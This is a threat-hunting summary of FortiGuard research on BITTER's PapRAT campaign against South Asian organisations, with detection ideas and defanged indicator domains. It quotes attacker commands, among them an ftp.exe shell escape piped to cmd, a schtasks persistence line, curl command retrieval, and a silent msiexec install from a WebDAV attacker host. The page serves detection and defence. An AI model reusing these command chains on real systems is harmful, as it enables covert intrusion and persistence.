---
title: Hunt: BITTER's PapRAT campaign uses ftp.exe '!' shell escapes, VHDX and WebDAV LNK lures, and Type 194 MSI custom actions against South Asian targets | ctxsec
url: https://ctxsec.com/items/hunt-bitter-paprat-ftp-exe-lnk-vhdx-msi-webdav-chains
description: "FortiGuard Labs tracked a months-long BITTER campaign against South Asian organizations with three infection chains: an LNK that abuses ftp.exe to run a script and create scheduled tasks that pull commands with curl; a VHDX image whose LNK opens a decoy spreadsheet and silently runs an MSI that installs PapRAT; and a URL shortcut that fetches an LNK over WebDAV and installs PapRAT, which then drops WmRAT. PapRAT exists in C++ and Rust builds. Fortinet published hosts, URLs and hashes."
status: "official (FortiGuard Labs research, Nov 2); BITTER attribution is Fortinet's, high confidence"
published: 2026-11-02
---

> FortiGuard Labs tracked a months-long BITTER campaign against South Asian organizations with three infection chains: an LNK that abuses ftp.exe to run a script and create scheduled tasks that pull commands with curl; a VHDX image whose LNK opens a decoy spreadsheet and silently runs an MSI that installs PapRAT; and a URL shortcut that fetches an LNK over WebDAV and installs PapRAT, which then drops WmRAT. PapRAT exists in C++ and Rust builds. Fortinet published hosts, URLs and hashes.

[← Threat Hunting](/hunting) · [markdown](/items/hunt-bitter-paprat-ftp-exe-lnk-vhdx-msi-webdav-chains.md)

official (FortiGuard Labs research, Nov 2); BITTER attribution is Fortinet's, high confidence

2026-11-02

### Hunt: BITTER's PapRAT campaign uses ftp.exe '!' shell escapes, VHDX and WebDAV LNK lures, and Type 194 MSI custom actions against South Asian targets

- **Chain 1 (no PE dropped):** LNK runs `ftp.exe`; the `!` prefix makes ftp run a local shell command (`!more res.ico` piped to cmd). Then `schtasks /create /sc minute /mo 30 /tn MicrosoftUpdates\updates11678` runs `conhost --headless cmd /c more C:\users\public\music\err.log|cmd`; err.log is written by `curl --ssl-no-revoke -k`. A fake `msg * "Explorer was unable to open this file!"` follows.
- **Chain 2:** VHDX lure ("Letter from the Ambassador - 11th Belt and Road Summit.vhdx") with a visible LNK and hidden `Visa_Details.msi` plus a decoy XLS. The MSI's only action is a Type 194 CustomAction launching PapRAT (masquerading as bruzsvc.exe, "Microsoft redistributables"), which beacons over plain HTTP every 10 s with `client_id=user_computer`; C2 config is XOR 0x50.
- **Chain 3:** RAR with "Invitation 2026.url" pointing at `rappellingaart[.]com@SSL` (WebDAV), then `msiexec /i \\rappellingaart[.]com@SSL\secure-docs\Imp_Details.msi /qn`; PapRAT's DWW command fetches WmRAT (`vnces.exe`, C2 netmansrvdns[.]com).
- **Rust PapRAT:** PDB `requpap.pdb`, 42 s start delay, HTTPS polling every 5 s, strings reversed and ROT-3, adds MS2 (PowerShell), SLP and BYE commands.

**Hunt ideas:** `ftp.exe` spawned by explorer from an LNK, or ftp.exe with child cmd; scheduled tasks under `MicrosoftUpdates\` or `BiosUpdates\` running `conhost --headless` with `more ... | cmd`; files named `err.log` in `C:\users\public\music\` or `talk.log` in `C:\programdata\`; msiexec installing from a `@SSL` WebDAV path; VHDX mounts from mail or downloads. Network: goodnfortunes[.]com, techtalkhelp[.]com, rivingtonclarks[.]com, gomescareerplans[.]com, chestergreenfarming[.]com, felixfuturenext[.]com, rappellingaart[.]com, netmansrvdns[.]com. The full hash list is in Fortinet's post.

Sources: [FortiGuard Labs: BITTER Expands Its Arsenal with PapRAT (Nov 2)](https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat)